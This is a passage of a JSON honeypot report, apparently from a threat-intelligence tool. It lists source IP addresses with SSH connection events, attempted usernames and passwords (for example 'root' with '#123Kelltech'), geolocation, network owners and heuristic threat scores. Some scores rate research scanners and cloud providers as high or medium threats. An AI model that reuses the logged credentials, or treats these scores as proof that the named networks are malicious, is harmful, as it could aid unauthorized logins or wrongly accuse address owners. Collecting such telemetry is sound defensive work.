        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:33:40.428000+00:00",
        "last_seen_30d": "2026-05-08T06:20:22.124000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 9
      }
    },
    "177.215.204.10": {
      "attack_count": 10,
      "first_seen": "2026-05-18T22:41:34.870Z",
      "last_seen": "2026-05-19T06:16:45.633Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:41:34.870000+00:00",
        "last_seen_30d": "2026-05-19T06:17:47.480000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "77.68.25.99": {
      "attack_count": 9,
      "first_seen": "2026-05-23T01:01:30.257Z",
      "last_seen": "2026-05-23T01:04:10.866Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T01:25:25.880000+00:00",
        "last_seen_30d": "2026-05-23T01:06:26.779000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9,
        "Suricata": 9
      }
    },
    "2.57.122.196": {
      "attack_count": 8,
      "first_seen": "2026-05-02T22:04:16.502Z",
      "last_seen": "2026-05-07T16:04:00.255Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T22:04:16.502000+00:00",
        "last_seen_30d": "2026-05-07T16:05:08.308000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "136.243.75.182": {
      "attack_count": 6,
      "first_seen": "2026-05-03T16:43:01.788Z",
      "last_seen": "2026-05-03T16:43:08.275Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:43:01.788000+00:00",
        "last_seen_30d": "2026-05-03T16:44:10.704000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "138.121.106.152": {
      "attack_count": 6,
      "first_seen": "2026-05-19T23:46:48.254Z",
      "last_seen": "2026-05-19T23:49:21.993Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Jun\u00edn",
      "asn": 263790,
      "as_org": "RED POWER INTERNET SRL",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:46:48.254000+00:00",
        "last_seen_30d": "2026-05-19T23:50:27.744000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "182.180.160.244": {
      "attack_count": 6,
      "first_seen": "2026-05-19T08:35:29.554Z",
      "last_seen": "2026-05-19T10:53:57.141Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Bahawalpur",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:35:29.554000+00:00",
        "last_seen_30d": "2026-05-19T10:55:00.978000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "185.247.137.173": {
      "attack_count": 6,
      "first_seen": "2026-05-12T07:47:29.934Z",
      "last_seen": "2026-05-12T07:47:32.687Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T07:47:29.934000+00:00",
        "last_seen_30d": "2026-05-12T07:57:33.204000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "46.153.219.154": {
      "attack_count": 6,
      "first_seen": "2026-05-24T10:36:05.824Z",
      "last_seen": "2026-05-24T10:40:06.822Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Riyadh",
      "asn": 35819,
      "as_org": "Etihad Etisalat, a joint stock company",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T10:36:05.824000+00:00",
        "last_seen_30d": "2026-05-24T10:51:02.770000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "66.132.172.43": {
      "attack_count": 6,
      "first_seen": "2026-05-11T17:36:53.846Z",
      "last_seen": "2026-05-11T17:37:30.162Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 77.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.6,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 26,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T16:07:27+00:00",
        "last_seen_30d": "2026-05-27T11:54:42.623000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 110,
        "Honeytrap": 51,
        "ElasticPot": 11,
        "Cowrie": 6,
        "H0neytr4p": 4
      }
    },
    "187.127.163.8": {
      "attack_count": 5,
      "first_seen": "2026-05-24T15:28:18.719Z",
      "last_seen": "2026-05-24T15:28:20.720Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "#123Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 47583,
      "as_org": "Hostinger International Limited",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T15:28:18.719000+00:00",
        "last_seen_30d": "2026-05-24T15:29:26.654000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "61.28.113.246": {
      "attack_count": 5,
      "first_seen": "2026-05-13T19:32:18.574Z",
      "last_seen": "2026-05-13T19:34:19.779Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 17622,
      "as_org": "China Unicom Guangzhou network",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-11T23:22:12.731000+00:00",
        "last_seen_30d": "2026-05-15T01:13:14.649000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Honeytrap": 1
      }
    },
    "103.195.238.51": {
      "attack_count": 4,
      "first_seen": "2026-05-24T15:52:25.950Z",
      "last_seen": "2026-05-24T20:18:10.521Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-24T15:52:25.950000+00:00",
        "last_seen_30d": "2026-05-29T09:46:51.792000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "119.100.147.61": {
      "attack_count": 4,
      "first_seen": "2026-05-21T08:07:48.404Z",
      "last_seen": "2026-05-21T08:09:07.481Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T08:07:48.404000+00:00",
        "last_seen_30d": "2026-05-21T08:10:09.850000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "183.4.29.40": {
      "attack_count": 4,
      "first_seen": "2026-05-17T02:34:11.429Z",
      "last_seen": "2026-05-17T13:39:06.638Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140308,
      "as_org": "CHINATELECOM Guangdong province Zhuhai 5G network",
      "threat_score": 11.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T02:34:11.429000+00:00",
        "last_seen_30d": "2026-05-17T13:40:07.799000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "20.42.92.153": {
      "attack_count": 4,
      "first_seen": "2026-05-14T12:29:52.165Z",
      "last_seen": "2026-05-14T12:30:02.799Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 51.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 22.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 27,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T22:00:51.936000+00:00",
        "last_seen_30d": "2026-05-28T11:28:51.992000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "39.105.212.205": {
      "attack_count": 4,
      "first_seen": "2026-05-16T13:52:01.778Z",
      "last_seen": "2026-05-16T13:54:14.172Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-16T13:52:01.778000+00:00",
        "last_seen_30d": "2026-05-20T18:00:23.941000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "91.231.89.140": {
      "attack_count": 4,
      "first_seen": "2026-05-08T23:57:08.647Z",
      "last_seen": "2026-05-08T23:57:09.288Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 73.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 28,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T06:05:13+00:00",
        "last_seen_30d": "2026-05-29T16:24:20.721000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 89,
        "Honeytrap": 22,
        "Cowrie": 4
      }
    },
    "123.171.59.209": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:53:38.886Z",
      "last_seen": "2026-05-23T01:54:12.359Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:53:38.886000+00:00",
        "last_seen_30d": "2026-05-23T01:55:18.877000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.96.48.222": {
      "attack_count": 2,
      "first_seen": "2026-05-22T21:30:11.311Z",
      "last_seen": "2026-05-22T21:30:24.550Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:30:11.311000+00:00",
        "last_seen_30d": "2026-05-22T21:31:32.884000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.118.99.114": {
      "attack_count": 2,
      "first_seen": "2026-05-14T20:42:16.682Z",
      "last_seen": "2026-05-14T20:42:28.688Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T20:42:16.682000+00:00",
        "last_seen_30d": "2026-05-14T20:43:31.955000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.0.64.231": {
      "attack_count": 2,
      "first_seen": "2026-05-03T16:12:14.580Z",
      "last_seen": "2026-05-03T16:12:28.979Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Patos de Minas",
      "asn": 262595,
      "as_org": "OnNet Telecomunicacoes LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:12:14.580000+00:00",
        "last_seen_30d": "2026-05-03T16:13:30.391000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.99.70.240": {
      "attack_count": 2,
      "first_seen": "2026-05-17T08:52:47.152Z",
      "last_seen": "2026-05-17T08:52:59.755Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 264160,
      "as_org": "PRYMUS PROVEDOR DE ACESSO A REDES TELECOM LTDA",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T08:52:47.152000+00:00",
        "last_seen_30d": "2026-05-17T08:54:00.833000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "141.239.96.130": {
      "attack_count": 2,
      "first_seen": "2026-05-13T05:28:00.413Z",
      "last_seen": "2026-05-13T05:28:13.547Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Kailua",
      "asn": 36149,
      "as_org": "Hawaiian Telcom Services Company, Inc.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T05:28:00.413000+00:00",
        "last_seen_30d": "2026-05-13T05:29:19.327000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "152.201.217.147": {
      "attack_count": 2,
      "first_seen": "2026-05-12T02:28:08.187Z",
      "last_seen": "2026-05-12T02:30:08.206Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T02:28:08.187000+00:00",
        "last_seen_30d": "2026-05-12T02:31:21.650000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "170.150.31.178": {
      "attack_count": 2,
      "first_seen": "2026-05-02T00:36:06.937Z",
      "last_seen": "2026-05-02T00:36:19.492Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Guatemala",
      "country_code": "GT",
      "city": "Guatemala City",
      "asn": 52362,
      "as_org": "Servicios Innovadores de Comunicacion y Entretenimiento, S.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:36:06.937000+00:00",
        "last_seen_30d": "2026-05-02T00:37:58.286000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.114.209.102": {
      "attack_count": 2,
      "first_seen": "2026-05-26T20:50:17.270Z",
      "last_seen": "2026-05-26T20:50:29.462Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:50:17.270000+00:00",
        "last_seen_30d": "2026-05-26T20:51:31.263000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.83.143.44": {
      "attack_count": 2,
      "first_seen": "2026-05-21T22:33:44.355Z",
      "last_seen": "2026-05-21T22:34:20.112Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T22:33:44.355000+00:00",
        "last_seen_30d": "2026-05-21T22:35:21.870000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.249.27.31": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:10:14.705Z",
      "last_seen": "2026-05-23T08:10:27.422Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
